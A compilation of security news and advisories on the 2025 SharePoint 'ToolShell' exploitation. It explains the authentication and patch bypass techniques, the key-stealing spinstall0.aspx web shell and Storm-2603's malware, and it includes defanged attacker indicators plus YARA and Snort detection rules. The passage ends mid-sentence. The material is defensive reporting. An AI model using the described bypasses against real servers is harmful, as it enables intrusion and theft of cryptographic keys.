Hackers Exploit SharePoint Zero-Day Since July 7 to Steal Keys, Maintain Persistent Access
The recently disclosed critical Microsoft SharePoint vulnerability has been under exploitation as early as July 7, 2025, according to findings from Check Point Research. The cybersecurity company said it observed first exploitation attempts targeting an unnamed major Western government, with the activity intensifying on July 18 and 19, spanning government, telecommunications, and software sectors in North America and Western Europe. Check Point also said the exploitation efforts originated from three different IP addresses – 104.238.159[.]149, 107.191.58[.]76, and 96.9.125[.]147 – one of which was previously tied to the weaponization of security flaws in Ivanti Endpoint Manager Mobile (EPMM) appliances (CVE-2025-4427 and CVE-2025-4428). "We're witnessing an urgent and active threat: a critical zero-day in SharePoint on-prem is being exploited in the wild, putting thousands of global organizations at risk," Lotem Finkelstein, Director of Threat Intelligence at Check Point Research, told The Hacker News. "Our team has confirmed dozens of compromise attempts across government, telecom, and tech sectors since July 7. We strongly urge enterprises to update their security systems immediately – this campaign is both sophisticated and fast-moving." The attack chains have been observed leveraging CVE-2025-53770, a newly patched remote code execution flaw in SharePoint Server, and chaining it with CVE-2025-49706, a spoofing vulnerability that was patched by Microsoft as part of its July 2025 Patch Tuesday update, to gain initial access and escalate privileges. It's worth mentioning at this stage that there are two sets of vulnerabilities in SharePoint that have come to light this month - CVE-2025-49704 (CVSS score: 8.8) - Microsoft SharePoint Remote Code Execution Vulnerability (Fixed on July 8, 2025) CVE-2025-49706 (CVSS score: 6.5) - Microsoft SharePoint Server Spoofing Vulnerability (Fixed on July 8, 2025) CVE-2025-53770 (CVSS score: 9.8) - Microsoft SharePoint Server Remote Code Execution Vulnerability CVE-2025-53771 (CVSS score: 6.5) - Microsoft SharePoint Server Spoofing Vulnerability CVE-2025-49704 and CVE-2025-49706, collectively referred to as ToolShell, is an exploitation chain that can lead to remote code execution on SharePoint Server instances. They were originally disclosed by Viettel Cyber Security during the Pwn2Own 2025 hacking competition earlier this May. CVE-2025-53770 and CVE-2025-53771, which became public knowledge over the weekend, have been described as variants of CVE-2025-49704 and CVE-2025-49706, respectively, indicating that they are bypasses for the original fixes put in place by Microsoft earlier this month. This is evidenced by the fact that Microsoft acknowledged active attacks exploiting "vulnerabilities partially addressed by the July Security Update." The company also noted in its advisories that the updates for CVE-2025-53770 and CVE-2025-53771 include "more robust protections" than the updates for CVE-2025-49704 and CVE-2025-49706. However, it bears noting that CVE-2025-53771 has not been flagged by Redmond as actively exploited in the wild. "CVE-2025-53770 exploits a weakness in how Microsoft SharePoint Server handles the deserialization of untrusted data," Martin Zugec, technical solutions director at Bitdefender, said. "Attackers are leveraging this flaw to gain unauthenticated remote code execution." This, in turn, is achieved by deploying malicious ASP.NET web shells that programmatically extract sensitive cryptographic keys. These stolen keys are subsequently leveraged to craft and sign malicious __VIEWSTATE payloads, thereby establishing persistent access and enabling the execution of arbitrary commands on SharePoint Server. According to Bitdefender telemetry, in-the-wild exploitation has been detected in the United States, Canada, Austria, Jordan, Mexico, Germany, South Africa, Switzerland, and the Netherlands, suggesting widespread abuse of the flaw. Palo Alto Networks Unit 42, in its own analysis of the campaign, said it observed commands being run to execute a Base64-encoded PowerShell command, which creates a file at the location "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx" and then parses its content. "The spinstall0.aspx file is a web shell that can execute various functions to retrieve ValidationKeys, DecryptionKeys, and the CompatabilityMode of the server, which are needed to forge ViewState Encryption keys," Unit 42 said in a threat brief. In an advisory issued Monday, SentinelOne said it first detected exploitation on July 17, with the cybersecurity company identifying three "distinct attack clusters," including state-aligned threat actors, engaging in reconnaissance and early-stage exploitation activities. Targets of the campaigns include technology consulting, manufacturing, critical infrastructure, and professional services tied to sensitive architecture and engineering organizations. "The early targets suggest that the activity was initially carefully selective, aimed at organizations with strategic value or elevated access," researchers Simon Kenin, Jim Walter, and Tom Hegel said. Analysis of the attack activity has revealed the use of a password-protected ASPX web shell ("xxx.aspx") on July 18, 2025, at 9:58 a.m. GMT. The web shell supports three functions: Authentication via an embedded form, command execution via cmd.exe, and file upload. Subsequent exploitation efforts have been found to employ the "spinstall0.aspx" web shell to extract and expose sensitive cryptographic material from the host. Spinstall0.aspx is "not a traditional command web shell but rather a reconnaissance and persistence utility," the researchers explained. "This code extracts and prints the host's MachineKey values, including the ValidationKey, DecryptionKey, and cryptographic mode settings -- information critical for attackers seeking to maintain persistent access across load-balanced SharePoint environments or to forge authentication tokens." Unlike other web shells that are typically dropped on internet-exposed servers to facilitate remote access, spinstall0.aspx appears to be designed with the sole intention of gathering cryptographic secrets that could then be used to forge authentication or session tokens across SharePoint instances. These attacks, per CrowdStrike, commence with a specially crafted HTTP POST request to an accessible SharePoint server via the "/_layouts/15/ToolPane.aspx" endpoint that attempts to write spinstall0.aspx via PowerShell. The company said it blocked hundreds of exploitation attempts across more than 160 customer environments. SentinelOne also discovered a cluster dubbed "no shell" that took a "more advanced and stealthy approach" to other threat actors by opting for in-memory .NET module execution without dropping any payloads on disk. The activity originated from the IP address 96.9.125[.]147. "This approach significantly complicates detection and forensic recovery, underscoring the threat posed by fileless post-exploitation techniques," the company said, positing that it's either a "skilled red team emulation exercise or the work of a capable threat actor with a focus on evasive access and credential harvesting." It's currently not known who is behind the attack activity, although Google-owned Mandiant has attributed the early-exploitation to a China-aligned hacking group. Data from Censys shows that there are 9,762 on-premises SharePoint servers online, although it's currently not known if all of them are susceptible to the flaws. Given that SharePoint servers are a lucrative target for threat actors due to the nature of sensitive organizational data stored in them, it's essential that users move quickly to apply the fixes, rotate the keys, and restart the instances. "We assess that at least one of the actors responsible for the early exploitation is a China-nexus threat actor," Charles Carmakal, CTO, Mandiant Consulting at Google Cloud, said in a post on LinkedIn. "We're aware of victims in several sectors and global geographies. The activity primarily involved the theft of machine key material which could be used to access victim environments after the patch has been applied." (The story was updated after publication on July 23, 2025, to reflect the change in CVSS scores.)
thehackernews.comJul 22, 2025extracted
Update Microsoft SharePoint ASAP | Kaspersky official blog
Unknown malefactors are actively attacking companies that use SharePoint Server 2016, SharePoint Server 2019 and SharePoint Server Subscription Edition. By exploiting a chain of two vulnerabilities – CVE-2025-53770 (CVSS rating – 9.8) and CVE-2025-53771 (CVSS rating – 6.3), attackers are able to execute malicious code on the server remotely. The severity of the situation is highlighted by the fact that patches for the vulnerabilities were released by Microsoft late Sunday night. To protect the infrastructure, researchers recommend installing the updates as soon as possible. The attack via CVE-2025-53770 and CVE-2025-53771 Exploitation of this pair of vulnerabilities allows unauthenticated attackers to take control of SharePoint servers, and therefore not only gain access to all the information stored on them, but also use the servers to spread their attack on the rest of the infrastructure. Researchers at EYE Security state that even before the Microsoft bulletins were published, they had seen two waves of attacks using this vulnerability chain, resulting in dozens of servers being compromised. Attackers install web shells on vulnerable SharePoint servers and steal cryptographic keys that can later allow them to impersonate legitimate services or users. This way they can to gain access to compromised servers even after the vulnerability has been patched and the malware destroyed. Our solutions proactively detected and blocked malicious activity linked to the ToolShell attack. Our telemetry data shows exploitation attempts worldwide, including in Africa, Asia, the Middle East, and Russia. A detailed investigation of the attack and associated vulnerabilities, along with indicators of compromise, is available in a Securelist blog post. Relationship to CVE-2025-49704 and CVE-2025-49706 vulnerabilities (ToolShell chain) Researchers noticed that the exploitation of the CVE-2025-53770 and CVE-2025-53771 vulnerability chain is very similar to the ToolShell chain of two other vulnerabilities, CVE-2025-49704 and CVE-2025-49706, demonstrated in May, as part of the Pwn2Own hacking competition in Berlin. Those two were patched by previously released updates, but apparently not perfectly. By all indications, the new pair of vulnerabilities is an updated ToolShell chain, or rather a bypass of the patches that fix it. This is confirmed by Microsoft’s remarks in the description of the new vulnerabilities: “Yes, the update for CVE-2025-53770 includes more robust protections than the update for CVE-2025-49704. The update for CVE-2025-53771 includes more robust protections than the update for CVE-2025-49706.” How to stay safe? The first thing to do is install the patches, and before rolling out the emergency updates released yesterday, you should install the regular July KB5002741 and KB5002744. At the time of writing this post, there were no patches for SharePoint 2016, so if you’re still using this version of the server, you’ll have to rely on compensating measures. You should also make sure that robust protective solutions are installed on the servers and that the Antimalware Scan Interface (AMSI), which helps Microsoft applications and services to interact with running cybersecurity products, is enabled. Researchers recommend replacing machine keys in ASP.NET on vulnerable SharePoint servers (you can read how to do this in Microsoft’s recommendations), as well as other cryptographic keys and credentials that may have been accessed from the vulnerable server. If you have reason to suspect that your SharePoint servers have been attacked, it is recommended that you check them for indicators of compromise, primarily the presence of the malicious spinstall0.aspx file. If your internal incident response team lacks the in-house resources to identify indicators of compromise or remediate the incident, we advise you to contact third-party experts.
kaspersky.comJul 21, 2025extracted
ToolShell: rilevato sfruttamento in rete di vulnerabilità in SharePoint
ToolShell: rilevato sfruttamento in rete di vulnerabilità in SharePoint Alert AL01/250721/CSIRT-ITA Sintesi Microsoft ha rilasciato aggiornamenti di sicurezza per 2 vulnerabilità che interessano il prodotto SharePoint, nota piattaforma di collaborazione e gestione file. Nel dettaglio, la CVE-2025-53770 risulta sfruttata attivamente in rete: causata dalla deserializzazione di dati non attendibili, consente a un attaccante remoto non autenticato di eseguire codice arbitrario sulle istanze target. Note: un Proof of Concept (PoC) per lo sfruttamento della CVE-2025-53770 risulta disponibile in rete. Tipologia Authentication Bypass Remote Code Execution Spoofing Descrizione e potenziali impatti Microsoft ha recentemente individuato lo sfruttamento in rete di una vulnerabilità con gravità “critica”, identificata tramite la CVE‑2025‑53770 con score CVSS v3.x pari a 9.8, di tipo “Remote Code Execution”, che interessa il prodotto SharePoint Server. Tale vulnerabilità è causata da una deserializzazione di dati non attendibili all’interno del framework ASP.NET, che SharePoint utilizza per la gestione dei propri contenuti e delle componenti dell’interfaccia utente. L’attacco, che non richiede autenticazione, viene condotto tramite richieste HTTP di tipo POST opportunamente predisposte verso la risorsa: /_layouts/15/ToolPane.aspx?DisplayMode=Edit pagina utilizzata per visualizzare e modificare le Web Part, componenti modulari di SharePoint. Tale risorsa utilizza un campo nascosto chiamato __VIEWSTATE, utilizzato per mantenere lo stato della pagina tra le varie richieste HTTP mediante la serializzazione di oggetti .NET. Qualora tali dati non siano adeguatamente firmati o validati, un attaccante può sottomettere un payload malevolo che, una volta deserializzato dal server, consente l’esecuzione di codice arbitrario sul sistema interessato. Prodotti e/o versioni affette Microsoft SharePoint Server Subscription Edition Microsoft SharePoint Server 2019 Microsoft SharePoint Server 2016 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei bollettini di sicurezza riportati nella sezione Riferimenti. In aggiunta il si raccomanda di: monitorare e bloccare richieste POST verso ToolPane.aspx contenenti valori anomali nel campo __VIEWSTATE; verificare che il meccanismo di sicurezza AMSI (Antimalware Scan Interface) sia attivo; procedere con la rotazione delle machine keys di ASP.NET; riavviare IIS in tutti i server SharePoint tramite iisreset.exe. Infine, si raccomanda di valutare la verifica e l’implementazione - sui propri apparati di sicurezza - degli Indicatori di Compromissione (IoC)[1] forniti da Microsoft e dal CISA e di quelli riportati nell'apposita sezione e in allegato. Azioni di rilevamento A scopo di rilevazione proattiva di potenziali compromissioni relative a Microsoft SharePoint, si condivide la seguente regola YARA di terze parti, pubblicata dal repository open source signature-base di Florian Roth: ed una seconda regola Yara sviluppata dallo CSIRT Italia: rule webshell_toolshell1 { meta: uuid = "1d6e3973-ac25-42db-a70e-d50d28dd5782" author = "CSIRT Italia - Agenzia per la Cybersicurezza Nazionale (ACN)" description = "Detection of a webshell deployed during a Toolshell attack aimed at extracting machine keys" reference = "https://www.acn.gov.it/portale/w/toolshell-rilevato-sfruttamento-in-rete-di-vulnerabilita-in-sharepoint" version = "1" // Defines whether the rule applies only to memory scans or can be used for both memory and disk scans: // - true: The rule applies only to memory scans, i.e. running processes. // - false: The rule can be used for both memory and disk scans. memory_only = false // : should never trigger a false positive and be of high relevance // : trigger on threats of high relevance that have to be reviewed manually (rare false positives) // and : indicate suspicious activity // : have informative character and are used to identify a broad characteristic of a sample (i.e. "UPX packed", "written in Golang", etc.) severity = "high" // The TLP (Traffic Light Protocol) level of the rule, indicating the sensitivity of the information: // - : there is no limit on disclosure, recipients can spread this to the world. // - : recipients can spread this within their community // - : recipients can only spread this on a need-to-know basis within their organization and its clients // - : recipients can only spread this on a need-to-know to the organization only // - : for the eyes and ears of individual recipients only, no further disclosure tlp = "clear" // The Permissible Actions Protocol (PAP) was designed to indicate how the received information can be used: // - : no restrictions in using this information // - : active actions allowed. Recipients may use this rule to information to block incoming/outgoing traffic from/to the target or specifically configure honeypots to interact with the target // - : passive cross check. Recipients may use this rule for conducting online checks, like using services provided by third parties (e.g. Virus Total), or set up a monitoring honeypot // - : Non-detectable actions only. Recipients may not use this rule on the network. Only passive actions on logs/files/, that are not detectable from the outside pap = "clear" strings: $webshell1 = "ValidationKey" ascii xor $webshell2 = "Validation" ascii xor $webshell3 = "DecryptionKey" ascii xor $webshell4 = "Decryption" ascii xor $webshell5 = "CompatibilityMode" ascii xor $webshell6 = "CODEPAGE=\"65001\"" ascii xor $webshell7 = "MachineKeySection" ascii xor $webshell8 = "System.Web.Configuration" ascii xor $webshell9 = "System.Reflection" ascii xor $webshell10 = "GetApplicationConfig" ascii xor $asp1 = "CODEPAGE" ascii $asp2 = " $HOME_NET [80,443] ( msg:"CSIRT ITALIA - Detects exploit attempt leveraging the ToolShell attack chain to target SharePoint"; reference:url,https://www.acn.gov.it/portale/w/toolshell-rilevato-sfruttamento-in-rete-di-vulnerabilita-in-sharepoint; classtype:web-application-attack; priority:1; service:http; flow:to_server,established; http_method; content:"POST",fast_pattern,nocase; http_uri:path; content:"_layouts",fast_pattern,nocase; content:"ToolPane.aspx",fast_pattern,nocase; pcre:"/(?:\/_layouts/1(?:[2456])/ToolPane.aspx\/?)/i"; http_header:field referer; content:"_layouts",fast_pattern,nocase; content:"SignOut.aspx",fast_pattern,nocase; pcre:"/(?:\/_layouts\/(?:1[2456]\/)?SignOut\.aspx)/i"; http_uri:query; pcre:"/DisplayMode\=Edit/i"; pcre:"/a\=\/ToolPane\.aspx/i"; http_client_body; content:"MSOtlPn_Uri",nocase; content:"MSOtlPn_DWP",nocase; sid:3330002; rev:2; ) NB: Si raccomanda di validare e testare preventivamente la regola in ambienti controllati, in particolare per le installazioni basate su Snort 3, assicurandosi che il SID utilizzato non sia già impiegato da altre firme. [1] Per definizione, non tutti gli indicatori di compromissione sono malevoli. Questo CSIRT non ha alcuna responsabilità per l'attuazione di eventuali azioni proattive (es. inserimento degli IoC in blocklist) relative agli indicatori forniti. Le informazioni contenute in questo documento rappresentano la migliore comprensione della minaccia al momento del rilascio. Di seguito sono riportate le sole CVE relative alle vulnerabilità con gravità “alta”: Data pubblicazione 21/07/25 ore 09:36 Data Ultimo Aggiornamento 30/07/25 ore 10:52
acn.gov.itJul 21, 2025extracted
CrowdStrike Detects and Blocks Initial SharePoint Zero-Day Exploitation
Beginning on July 18, 2025, at approximately 0700 UTC, CrowdStrike Falcon® Complete Next-Gen MDR and CrowdStrike Falcon® Adversary OverWatch™ identified a wave of Microsoft SharePoint exploitation attempts by an unknown adversary. Two distinct zero-day vulnerabilities were made publicly available: a critical remote code execution vulnerability (CVE-2025-53770) and a server spoofing vulnerability (CVE-2025-53771). The chaining of these vulnerabilities to exploit a vulnerable SharePoint server is being referred to as “ToolShell.” Since the start of this exploitation, CrowdStrike has observed and successfully blocked hundreds of exploitation attempts across 160+ customer environments, demonstrating both the scale of this threat and the effectiveness of our protection capabilities. The CrowdStrike Falcon® platform detects and protects against exploitation of the Microsoft SharePoint zero-days, blocking known behaviors associated with these vulnerabilities. This blog post provides context surrounding this emerging threat, as well as guidance for customers on how they can use the Falcon platform to protect their environments. Customers of CrowdStrike Falcon® Adversary Intelligence Premium can find more detailed analysis in Intel report CSA-250846. Observed Exploitation of SharePoint Vulnerability CrowdStrike has observed widespread exploitation of CVE-2025-53770 involving a deserialisation attack leading to attempts to write a malicious .aspx webshell on the host. That file, spinstall0.aspx, is used to steal IIS Machine Keys, which can later be used for other post-exploitation attacks. This attack begins with a specially crafted POST request to an accessible SharePoint server. The POST request payload will attempt to write the .aspx file via PowerShell. That malicious PowerShell command, spawned from the SharePoint IIS process, is blocked by the Falcon platform.
crowdstrike.comJul 21, 2025extracted
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US Tops Hit List as 396 SharePoint Systems Compromised Globally
On July 19–20, 2025, various security companies and national CERTs published alerts about active exploitation of on-premise SharePoint servers. According to the reports, observed attacks did not require authentication, allowed attackers to gain full control over the infected servers, and were performed using an exploit chain of two vulnerabilities: CVE-2025-49704 and CVE-2025-49706, publicly named “ToolShell”. Additionally, on the same dates, Microsoft released out-of-band security patches for the vulnerabilities CVE-2025-53770 and CVE-2025-53771, aimed at addressing the security bypasses of previously issued fixes for CVE-2025-49704 and CVE-2025-49706. The release of the new, “proper” updates has caused confusion about exactly which vulnerabilities attackers are exploiting and whether they are using zero-day exploits. Kaspersky products proactively detected and blocked malicious activity linked to these attacks, which allowed us to gather statistics about the timeframe and spread of this campaign. Our statistics show that widespread exploitation started on July 18, 2025, and attackers targeted servers across the world in Egypt, Jordan, Russia, Vietnam, and Zambia. Entities across multiple sectors were affected: government, finance, manufacturing, forestry, and agriculture. While analyzing all artifacts related to these attacks, which were detected by our products and public information provided by external researchers, we found a dump of a POST request that was claimed to contain the malicious payload used in these attacks. After performing our own analysis, we were able to confirm that this dump indeed contained the malicious payload detected by our technologies, and that sending this single request to an affected SharePoint installation was enough to execute the malicious payload there. Our analysis of the exploit showed that it did rely on vulnerabilities fixed under CVE-2025-49704 and CVE-2025-49706, but by changing just one byte in the request, we were able to bypass those fixes. In this post, we provide detailed information about CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771, and one related vulnerability. Since the exploit code is already published online, is very easy to use, and poses a significant risk, we encourage all organizations to install the necessary updates. The exploit Our research started with an analysis of a POST request dump associated with this wave of attacks on SharePoint servers. We can see that this POST request targets the “/_layouts/15/ToolPane.aspx” endpoint and embeds two parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. Looking at the code of ToolPane.aspx, we can see that this file itself does not contain much functionality and most of its code is located in the ToolPane class of the Microsoft.SharePoint.WebPartPages namespace in Microsoft.SharePoint.dll. Looking at this class reveals the code that works with the two parameters present in the exploit. However, accessing this endpoint under normal conditions is not possible without bypassing authentication on the attacked SharePoint server. This is where the first Microsoft SharePoint Server Spoofing Vulnerability CVE-2025-49706 comes into play. CVE-2025-49706 This vulnerability is present in the method PostAuthenticateRequestHandler, in Microsoft.SharePoint.dll. SharePoint requires Internet Information Services (IIS) to be configured in integrated mode. In this mode, the IIS and ASP.NET authentication stages are unified. As a result, the outcome of IIS authentication is not determined until the PostAuthenticateRequest stage, at which point both the ASP.NET and IIS authentication methods have been completed. Therefore, the PostAuthenticateRequestHandler method utilizes a series of flags to track potential authentication violations. A logic bug in this method enables an authentication bypass if the “Referrer” header of the HTTP request is equal to “/_layouts/SignOut.aspx”, “/_layouts/14/SignOut.aspx”, or “/_layouts/15/SignOut.aspx” using case insensitive comparison. The code displayed in the image above handles the sign-out request and is also triggered when the sign-out page is specified as the referrer. When flag6 is set to false and flag7 is set to true, both conditional branches that could potentially throw an “Unauthorized Access” exception are bypassed. On July 8, 2025, Microsoft released an update that addressed this vulnerability by introducing additional checks to detect the usage of the “ToolPane.aspx” endpoint with the sign-out page specified as the referrer. The added check uses case insensitive comparison to verify if the requested path ends with “ToolPane.aspx”. Is it possible to bypass this check, say, by using a different endpoint? Our testing has shown that this check can be easily bypassed. CVE-2025-53771 We were able to successfully bypass the patch for vulnerability CVE-2025-49706 by adding just one byte to the exploit POST request. All that was required to bypass this patch was to add a “/” (slash) to the end of the requested “ToolPane.aspx” path. On July 20, 2025, Microsoft released an update that fixed this bypass as CVE-2025-53771. This fix replaces the “ToolPane.aspx” check to instead check whether the requested path is in the list of paths allowed for use with the sign-out page specified as the referrer. This allowlist includes the following paths: “/_layouts/15/SignOut.aspx”, “/_layouts/15/1033/initstrings.js”, “/_layouts/15/init.js”, “/_layouts/15/theming.js”, “/ScriptResource.axd”, “/_layouts/15/blank.js”, “/ScriptResource.axd”, “/WebResource.axd”, “/_layouts/15/1033/styles/corev15.css”, “/_layouts/15/1033/styles/error.css”, “/_layouts/15/images/favicon.ico”, “/_layouts/15/1033/strings.js”, “/_layouts/15/core.js”, and it can contain additional paths added by the administrator. While testing the CVE-2025-49706 bypass with the July 8, 2025 updates installed on our SharePoint debugging stand, we noticed some strange behavior. Not only did the bypass of CVE-2025-49706 work, but the entire exploit chain did! But wait! Didn’t the attackers use an additional Microsoft SharePoint Remote Code Execution Vulnerability CVE-2025-49704, which was supposed to be fixed in the same update? To understand why the entire exploit chain worked in our case, let’s take a look at the vulnerability CVE-2025-49704 and how it was fixed. CVE-2025-49704 CVE-2025-49704 is an untrusted data deserialization vulnerability that exists due to improper validation of XML content. Looking at the exploit POST request, we can see that it contains two URL encoded parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. We can see how they are handled by examining the code of the method GetPartPreviewAndPropertiesFromMarkup in Microsoft.SharePoint.dll. A quick analysis reveals that “MSOtlPn_Uri” is a page URL that might be pointing to an any file in the CONTROLTEMPLATES folder and the parameter “MSOtlPn_DWP” contains something known as WebPart markup. This markup contains special directives that can be used to execute safe controls on a server and has a format very similar to XML. While this “XML” included in the “MSOtlPn_DWP” parameter does not itself contain a vulnerability, it allows attackers to instantiate the ExcelDataSet control from Microsoft.PerformancePoint.Scorecards.Client.dll with CompressedDataTable property set to malicious payload and trigger its processing using DataTable property getter. Looking at the code of the ExcelDataSet’s DataTable property getter in Microsoft.PerformancePoint.Scorecards.Client.dll, we find the method GetObjectFromCompressedBase64String, responsible for deserialization of CompressedDataTable property contents. The data provided as Base64 string is decoded, unzipped, and passed to the BinarySerialization.Deserialize method from Microsoft.SharePoint.dll. Attackers use this method to provide a malicious DataSet whose deserialized content is shown in the image above. It contains an XML with an element of dangerous type "System.Collections.Generic.List1[[System.Data.Services.Internal.ExpandedWrapper2[...], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", which allows attackers to execute arbitrary methods with the help of the well-known ExpandedWrapper technique aimed at exploitation of unsafe XML deserialization in applications based on the .NET framework. In fact, this shouldn’t be possible, since BinarySerialization.Deserialize in Microsoft.SharePoint.dll uses a special XmlValidator designed to protect against this technique by checking the types of all elements present in the provided XML and ensuring that they are on the list of allowed types. However, the exploit bypasses this check by placing the ExpandedWrapper object into the list. Now, to find out why the exploit worked on our SharePoint debugging stand with the July 8, 2025 updates installed, let’s take a look at how this vulnerability was fixed. In this patch, Microsoft did not really fix the vulnerability but only mitigated it by adding the new AddExcelDataSetToSafeControls class to the Microsoft.SharePoint.Upgrade namespace. This class contains new code that modifies the web.config file and marks the Microsoft.PerformancePoint.Scorecards.ExcelDataSet control as unsafe. Because SharePoint does not execute this code on its own after installing updates, the only way to achieve the security effect was to manually run a configuration upgrade using the SharePoint Products Configuration Wizard tool. Notably, the security guidance for CVE-2025-49704 does not mention the need for this step, which means at least some SharePoint administrators may skip it. Meanwhile, anyone who installed this update but did not manually perform a configuration upgrade remained vulnerable. CVE-2025-53770 On July 20, 2025, Microsoft released an update with a proper fix for the CVE-2025-49704 vulnerability. This patch introduces an updated XmlValidator that now properly validates element types in XML, preventing exploitation of this vulnerability without requiring a configuration upgrade and, more importantly, addressing the root cause and preventing exploitation of the same vulnerability through controls other than Microsoft.PerformancePoint.Scorecards.ExcelDataSet. CVE-2020-1147 Readers familiar with previous SharePoint exploits might feel that the vulnerability CVE-2025-49704/CVE-2025-53770 and the exploit used by the attackers looks very familiar and very similar to the older .NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability CVE-2020-1147. In fact, if we compare the exploit for CVE-2020-1147 and an exploit for CVE-2025-49704/CVE-2025-53770, we can see that they are almost identical. The only difference is that in the exploit for CVE-2025-49704/CVE-2025-53770, the dangerous ExpandedWrapper object is placed in the list. This makes CVE-2025-53770 an updated fix for CVE-2020-1147. Conclusions Despite the fact that patches for the ToolShell vulnerabilities are now available for deployment, we assess that this chain of exploits will continue being used by attackers for a long time. We have been observing the same situation with other notorious vulnerabilities, such as ProxyLogon, PrintNightmare, or EternalBlue. While they have been known for years, many threat actors still continue leveraging them in their attacks to compromise unpatched systems. We expect the ToolShell vulnerabilities to follow the same fate, as they can be exploited with extremely low effort and allow full control over the vulnerable server. To stay better protected against threats like ToolShell, we as a community should learn lessons from previous events in the industry related to critical vulnerabilities. Specifically, the speed of applying security patches nowadays is the most important factor when it comes to fighting such vulnerabilities. Since public exploits for these dangerous vulnerabilities appear very soon after vulnerability announcements, it is paramount to install patches as soon as possible, as a gap of even a few hours can make a critical difference. At the same time, it is important to protect enterprise networks against zero-day exploits, which can be leveraged when there is no available public patch for vulnerabilities. In this regard, it is critical to equip machines with reliable cybersecurity solutions that have proven effective in combatting ToolShell attacks before they were publicly disclosed. Kaspersky Next with its Behaviour detection component proactively protects against exploitation of these vulnerabilities. Additionally, it is able to detect exploitation and the subsequent malicious activity. Kaspersky products detect the exploits and malware used in these attacks with the following verdicts: UDS:DangerousObject.Multi.Generic PDM:Exploit.Win32.Generic PDM:Trojan.Win32.Generic HEUR:Trojan.MSIL.Agent.gen ASP.Agent.* PowerShell.Agent.*
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Jul 31, 2025
US Tops Hit List as 396 SharePoint Systems Compromised Globally
Check Point Research (CPR) conducted a focused analysis of Storm-2603, a threat actor associated with recent ToolShell exploitations, together with other Chinese APT groups. Storm-2603 utilizes a custom malware Command and Control (C2) framework dubbed internally by the attacker as “ak47c2”. This framework includes at least two different types of clients: HTTP-based (dubbed by us “ak47http”) and DNS-based (dubbed by us “ak47dns”). Based on VirusTotal data, Storm-2603 likely targeted some organizations in Latin America throughout the first half of 2025, in parallel to attacking organizations in APAC. Some of the actor’s TTPs align with many other ransomware groups, and involve open-source tools such as PsExec and masscan. In addition, the threat actors use a custom tool that leverages the BYOVD (Bring Your Own Vulnerable Driver) technique to tamper with endpoint protections. Storm-2603 attacks involved multiple ransomware families, sometimes bundled together. Those are commonly deployed by abusing DLL hijacking. Check Point Research (CPR) has been closely monitoring the ongoing exploitation of a group of Microsoft SharePoint Server vulnerabilities collectively referred to as “ToolShell.” These active attacks leverage four vulnerabilities—CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, and CVE-2025-53771—and are attributed to multiple China affiliated threat actors. Among the threat groups identified by Microsoft, two are known APTs: Linen Typhoon (aka APT27) and Violet Typhoon (aka APT31). Another group is a newly observed, previously undocumented cluster called Storm-2603. While Microsoft linked this cluster’s activity to potential ransomware deployment, it was unable to assess the group’s objectives. As part of our ongoing investigation into ToolShell and its associated risks, we launched a targeted effort to better understand and characterize the threat posed by Storm-2603. Throughout our analysis, we uncovered several files likely tied to Storm-2603 intrusions, offering new insights that correspond to Microsoft’s description of the group. In this publication, we provide an in-depth examination of Storm-2603’s tactics, techniques, and procedures (TTPs), along with a technical breakdown of the ak47c2, a custom malware framework used in their attacks and their different ransomware payloads. Storm-2603 was first mentioned by Microsoft during investigations into a set of attacks on Microsoft SharePoint servers, known as the “ToolShell” campaign. While some activity was tied to known Chinese affiliated groups like Linen Typhoon (APT27) and Violet Typhoon (APT31), Storm-2603 appeared as a new, previously unreported actor. Microsoft linked the group to Lockbit and Warlock ransomware use. Figure 1 – Events associated with Storm-2603. Microsoft’s report provided only limited information about Storm-2603, including some of the TTPs associated with it, most of them quite generic. In addition, some of the reported indicators of compromise (IOCs) helped us uncover additional artifacts associated with previous Storm-2603 intrusions. One domain in particular, update.updatemicfosoft[.]com, linked to Storm-2603’s SharePoint exploitation, turned out to have been used in earlier campaigns dating back to March 2025. In those operations, it served as a C2 server for both DNS tunneling malware and an HTTP backdoor and was part of infrastructure used to deliver LockBit Black and Warlock/x2anylock ransomware. Our search for cases where the IOCs reported by Microsoft, revealed two incidents in which LockBit Black and WarLock ransomware variants were deployed together, in addition to multiple other tools, mostly open-source. In April 2025, a RAR archive named Evidencia.rar was uploaded to VirusTotal. The archive contains several artifacts likely extracted from compromised machines in a Storm-2603 case in a LATAM country. The artifacts in the archive provide a look at some of the open-source tools used by the actors in the intrusions which correlates with previous knowledge of the group: WinPcap – Captures and filters network traffic on Windows. PsExec – Executes commands on remote Windows systems. SharpHostInfo – Collects host and domain info on Windows environments. nxc – Exploits common vulnerabilities in network services. In addition to the open-source tools, the archive also contains the custom backdoor used by the group, as well as its unique ransomware payloads. dnsclient.exe – A custom backdoor utilized by Storm-2603 that communicates over DNS tunneling with update.updatemicfosoft[.]com, a domain associated with the group. See the next section for our analysis of the backdoor. 7z.exe & 7z.dll – Legitimate 7z executable side-loading malicious 7z.dll delivering X2anylock (aka Warlock), a ransomware used by Storm-2603. bbb.msi – An installer which uses clink_x86.exe to side-load clink_dll_x86.dll, leading to the execution of LockBit Black ransomware. Another MSI file uploaded to VirusTotal in April used a similar deployment method, starting with the MSI installer to launch multiple ransomware strains simultaneously: Figure 2 – MSI Multi-Ransomware Deployment. The MSI relies on the following files: MpCmdRun.exe & Mpclient.dll – Warlock Ransomware, deployed via DLL-hijacking. clink_x86.exe & clink_dll_x86.dll – LockBit Black ransomware, deployed via DLL-hijacking. z.exe & z.dll – x2anylock ransomware, deployed via DLL-hijacking. VMToolsEng.exe – Custom Antivirus Terminator. ServiceMouse.sys – Vulnerable driver used by VMToolsEng.exe for killing Antivirus processes. log.exe – A list of Antivirus processes to kill. msi.bat – Executes VMToolsEng.exe. 1.bat – Executes all the needed executables and the MSI. We attributed two custom backdoors to Storm-2306, both of which appear to be part of the framework named AK47 C2 based on the shared PDB path: C:\Users\Administrator\Desktop\work\tools\ak47c2\. When executed, the program immediately hides its console window, determines the host computer name (defaulting to unknown.local if that fails), and builds a DNS‑based command‑and‑control payload. It 